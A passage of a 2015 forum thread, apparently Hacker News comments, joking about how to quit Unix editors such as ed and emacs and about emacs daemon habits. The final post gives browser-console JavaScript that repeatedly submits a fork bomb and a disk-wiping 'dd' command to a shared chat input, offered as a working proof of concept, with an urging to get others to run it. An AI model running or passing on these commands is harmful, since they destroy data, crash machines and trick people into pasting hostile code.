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Post by xnxn » Fri, Oct 30, 2015, 8:50 PM UTC

scarmig wrote: post #34

eloy wrote: post #26

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They should read the book "Popular Unix text editors and how to exit them"

quit ? exit ? end ? done ? bye ? quit! ? ^X ? ^C ? ^C ? help ? ? ? ^Z $ killall ed $ vi

    eat flaming death
    ?

Post by jnpatel » Fri, Oct 30, 2015, 9:01 PM UTC

__david__ wrote: post #136

schwap wrote: post #63

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Back when I first started my CompSci degree, a friend of mine always "quit" emacs with ctrl-z. Or, at least he did until he managed to fill his entire home directory quota with emacs backup files that were never cleaned up...

Ha, I still do that! $ jobs [4] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [5] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [6] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [7] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [8] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [9] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [10] Stopped emacscl…

  /private/tmp/foo.txt locked by jnpatel@mac... (pid 14836): (s, q, p, ?)?

Post by __david__ » Fri, Oct 30, 2015, 9:25 PM UTC

jnpatel wrote: post #193

__david__ wrote: post #136

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Ha, I still do that! $ jobs [4] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [5] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [6] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [7] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [8] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [9] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [10] Stopped emacscl…

Don't you frequently deal with: /private/tmp/foo.txt locked by jnpatel@mac... (pid 14836): (s, q, p, ?)? because of the lock files?

  emacs --daemon

  emacsclient -nw some_file

Post by barbs » Fri, Oct 30, 2015, 9:43 PM UTC

jbott wrote: post #2

Hey guys, author here. Feel free to ask any questions, and I'll try my best to answer them!

Post by PhasmaFelis » Fri, Oct 30, 2015, 10:02 PM UTC

chadillac wrote: post #132

chadillac wrote: post #37

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> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100) > setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100) Get a handful of people to run one of those in their browsers JS console and watch the world burn.

For the doubters, here is a working PoC... works in Chrome. setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);